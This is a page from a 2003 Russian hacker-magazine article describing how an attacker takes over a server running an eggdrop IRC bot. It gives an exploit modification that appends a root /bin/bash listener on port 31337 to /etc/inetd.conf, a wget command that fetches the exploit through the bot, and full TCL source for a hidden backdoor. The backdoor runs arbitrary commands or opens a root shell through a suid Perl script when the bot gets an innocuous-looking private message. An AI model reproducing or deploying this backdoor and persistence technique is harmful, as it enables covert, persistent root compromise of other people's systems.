Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР #59, НОЯБРЬ 2003 г.

В борьбе с яйцеголовыми

Master-lame-master

Xakep, номер #059, стр. 059-066-3


Решение этой траблы очень простое. Достаточно промодифицировать эксплоит так, чтобы он выполнил ряд команд под суперпользователем (например, открыл рутовый шелл на 31337 порту :)), а затем корректно завершил работу. Повторюсь, это очень важно, так как в противном случае эггдроп перестанет отвечать на запросы и уйдет из IRC по пингтаймауту.

Для модификации эксплоита достаточно лишь найти место, где происходит вставка шеллкода, выполняющего запуск /bin/bash. После этой строки надо вставить что-то типа system("echo \"31337 stream tcp nowait root /bin/bash bash\" >> /etc/inetd.conf; killall -HUP inetd");, а затем exit;. Все! Эксплоит готов к компиляции.

Выполнив вышеописанные действия, наш герой залил сплоит на свой хостинг и набрал команду "tcl exec wget http://www.host.ru/ptrace.c" в партилайне бота. Затем произошла компиляция и успешный запуск эксплоита. Нетрудно догадаться, что в результате этих действий был открыт шелл на порту 31337.

Портативный бэкдор

Далее взломщик хотел действовать по накатанной схеме: залить руткит и установить его в систему. Но передумал - слишком уж банально и заметно. В итоге хакер решил написать собственный бэкдор и интегрировать его в eggdrop. От такой программы требовалось выполнение консольных команд, а также открытие рутового шелла (когда это необходимо). Ситуация осложнялась лишь тем, что наш ковырятель ботов не особо знал TCL. Поэтому решено было интегрировать тикл с Perl и написать простенький бэкдор.

Идея заключалась в следующем: TCL-сценарий обрабатывает приватные запросы к боту. Когда в них содержится определенная строка, команда передается внешнему суидному perl-скрипту. Он, в свою очередь, обработает результат и вернет его первичному сценарию. Вот часть получившегося эггдропового скрипта:

TCL-часть бэкдора

set bd "/home/eggdrop/scripts/lame.pl"

bind msg - df msg_setuserinfo

proc msg_setuserinfo {nick uhost hand arg} {

global bd

set task [lindex $arg 0]

if {$task == "root"} {

set port [lindex $arg 1]

if {[catch {exec $bd -r $port} 0]} {

putserv "PRIVMSG $nick :Failed exec backdoor"

}

}

if {$task == "cmd"} {

set cmd [lrange $arg 1 end]

if {[catch {exec $bd -c "$cmd"} 0]} {

putserv "PRIVMSG $nick :Failed exec backdoor"

}

}

putserv "PRIVMSG $nick :Request was sent"

}

Что все это значит? В первой строке задается переменная bd, определяющая путь к суидному perl-скрипту. Далее идет bind на слово "df", которое будет отослано в приват боту. Это сочетание выбрано не случайно: при просмотре "binds" на партилайне команда не бросается в глаза (сливается с дефолтовым биндом на bf). В процедуре msg_setuserinfo происходит сравнение параметра с предопределенными словами. Когда опция является словом "root", происходит запрос перловому скрипту (при этом третий параметр является портом, на котором следует открыть шелл). Если же запрос выглядит как "df cmd команда", запрос слегка меняется, а скрипт просто выполняет команду.

Что касается perl-сценария, то здесь все посложнее. Во-первых, для обработки суидных сценариев используется не стандартный perl-интерпретатор, а suidperl. Во-вторых, чтобы миновать tailt-проверку на неопределенные переменные и опасные конструкции, применяется опция -U, установленная в "шапке" скрипта.

Назад на стр. 059-066-2  Содержание  Вперед на стр. 059-066-4
<<< НАЗАД ||| ГЛАВНАЯ